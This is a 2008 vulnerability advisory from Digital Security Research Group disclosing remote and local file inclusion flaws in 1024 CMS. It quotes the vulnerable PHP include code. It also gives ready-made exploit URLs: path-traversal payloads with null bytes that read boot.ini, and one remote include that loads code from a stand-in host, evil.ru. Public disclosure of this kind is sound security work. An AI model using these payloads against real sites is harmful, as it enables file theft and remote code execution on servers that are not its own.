Digital Security Research Group [DSecRG] Advisory #DSECRG-08-027 Application: 1024 CMS Versions Affected: 1.4.3, 1.4.4 RFC Vendor URL: http://www.1024cms.com/ Bug: Multiple Remote/Local File Include Exploits: YES Reported: 18.06.2008 Second report: 27.06.2008 Vendor Response: NONE Solution: NONE Date of Public Advisory: 04.07.2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** 1024 CMS has Remote File Include vulnerability and multiple Local File Include vulnerabilities. 1. Remote/Local File Include vulnerabilities found in scripts: themes/blog/layouts/standard.php themes/default/layouts/standard.php themes/portfolio/layouts/standard.php themes/snazzy/layouts/standard.php Code **** ################################################################################################## Example: http://[server]/[installdir]/themes/blog/layouts/standard.php?page_include=http://evil.ru/evil.php http://[server]/[installdir]/themes/default/layouts/standard.php?theme_dir=../../../../../../../../../../../../../boot.ini%00 http://[server]/[installdir]/themes/snazzy/layouts/standard.php?page=../../../../../../../../../../../../../boot.ini%00 Multiple Local File Include vulnerabilities: 2. Local File Include vulnerability found in script admin/lang/fr/reports/default.php Code **** ################################################# if(isset($_GET['t'])) { switch($_GET['t']) { case "forum": include("../admin/lang/".$lang."/reports/ops/forum.php"); break; case "download": include("../admin/lang/".$lang."/reports/ops/download.php"); break; case "news": include("../admin/lang/".$lang."/reports/ops/news.php"); break; } } else die("You cannot access this page directly"); ################################################# Example: http://[server]/[installdir]/admin/lang/fr/reports/default.php?t=news&lang=../../../../../../../../../../../../../boot.ini%00 3. Local File Include vulnerabilities found in scripts: admin/ops/admins/default.php admin/ops/reports/ops/download.php admin/ops/reports/ops/forum.php admin/ops/reports/ops/news.php Code **** ################################################# http://[server]/[installdir]/admin/ops/admins/default.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00 http://[server]/[installdir]/admin/ops/reports/ops/news.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00 4. Local File Include vulnerabilities found in scripts: lang/en/moderator/default.php lang/fr/moderator/default.php Code **** ################################################# if(isset($_GET['t'])) { switch($_GET['t']) { case "forum": include("./lang/".$lang."/moderator/ops/forum.php"); break; case "download": include("./lang/".$lang."/moderator/ops/download.php"); break; case "gallery": include("./lang/".$lang."/moderator/ops/gallery.php"); break; case "news": include("./lang/".$lang."/moderator/ops/news.php"); break; } } ################################################# Example: http://[server]/[installdir]/lang/en/moderator/default.php?t=news&lang=../../../../../../../../../../../../../boot.ini%00 http://[server]/[installdir]/lang/fr/moderator/default.php?t=download&lang=../../../../../../../../../../../../../boot.ini%00 5. Local File Include vulnerability found in script lang/de/moderator/default.php Code **** ################################################# if(isset($_GET['t'])) { switch($_GET['t']) { case "forum": include("./lang/".$lang."/moderator/ops/forum.php"); break; case "download": include("./lang/".$lang."/moderator/ops/download.php"); break; case "news": include("./lang/".$lang."/moderator/ops/news.php"); break; } } ################################################# Example: http://[server]/[installdir]/lang/de/moderator/default.php?t=forum&lang=../../../../../../../../../../../../../boot.ini%00 6. Local File Include vulnerabilities found in scripts: pages/download/default/ops/add.php pages/download/default/ops/edit.php Code **** ################################################# if(isset($_SESSION['type']) && ($_SESSION['type'] == '1' || ($_SESSION['type'] == '2' && trim($canpostdown) == "true") || $_SESSION['type'] == '4')) { ... } else { if($canpostdown !== 'true') define("_CONTENT_", _POST_DISABLED_); else define("_CONTENT_", _POST_LOGIN_); include("./themes/".$theme_dir."/templates/no_content.tpl"); } ################################################# Example: http://[server]/[installdir]/pages/download/default/ops/add.php?theme_dir=../../../../../../../../../../../../../boot.ini%00 7. Local File Include vulnerabilities found in scripts: pages/download/default/ops/newest.php pages/download/default/ops/search.php pages/download/default/ops/top.php pages/forum/default/content.php Code **** ################################################# http://[server]/[installdir]/pages/download/default/ops/newest.php?theme_dir=../../../../../../../../../../../../../boot.ini%00 http://[server]/[installdir]/pages/forum/default/content.php?theme_dir=../../../../../../../../../../../../../boot.ini%00 8. Local File Include vulnerabilities found in scripts: themes/blog/layouts/basic_footer.php themes/default/layouts/basic_footer.php themes/portfolio/layouts/basic_footer.php themes/snazzy/layouts/basic_footer.php Code **** ################################################# ... ... ################################################# Example: http://[server]/[installdir]/themes/blog/layouts/basic_footer.php?theme_dir=../../../../../../../../../../../../../boot.ini%00 9. Local File Include vulnerabilities found in scripts: themes/blog/layouts/basic_header.php themes/default/layouts/basic_header.php themes/portfolio/layouts/basic_header.php themes/snazzy/layouts/basic_header.php Code **** ################################################# ... ... ################################################# Example: http://[server]/[installdir]/themes/default/layouts/basic_header.php?theme_dir=../../../../../../../../../../../../../boot.ini%00 10. Local File Include vulnerabilities found in scripts: themes/blog/layouts/print.php themes/default/layouts/print.php themes/portfolio/layouts/print.php themes/snazzy/layouts/print.php Code **** ################################################# if(!isset($page_include)) { if($page_ck['custom'] == '0') include("./pages/".$page."/default/content.php"); else include("./pages/custom/".$page."/default/content.php"); } else include("./themes/".$theme_dir."/templates/".$page_include); include("./themes/".$theme_dir."/templates/footer.tpl"); ################################################# Example: http://[server]/[installdir]/themes/blog/layouts/print.php?page=../../../../../../../../../../../../../boot.ini%00 http://[server]/[installdir]/themes/default/layouts/print.php?page_include=../../../../../../../../../../../../../boot.ini%00 http://[server]/[installdir]/themes/portfolio/layouts/print.php?theme_dir=../../../../../../../../../../../../../boot.ini%00 11. Local File Include vulnerabilities found in scripts: themes/blog/layouts/total.php themes/default/layouts/total.php themes/portfolio/layouts/total.php themes/snazzy/layouts/total.php Code **** ################################################################################################## Example: http://[server]/[installdir]/themes/default/layouts/total.php?theme_dir=../../../../../../../../../../../../../boot.ini%00 http://[server]/[installdir]/themes/snazzy/layouts/total.php?page=../../../../../../../../../../../../../boot.ini%00 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. 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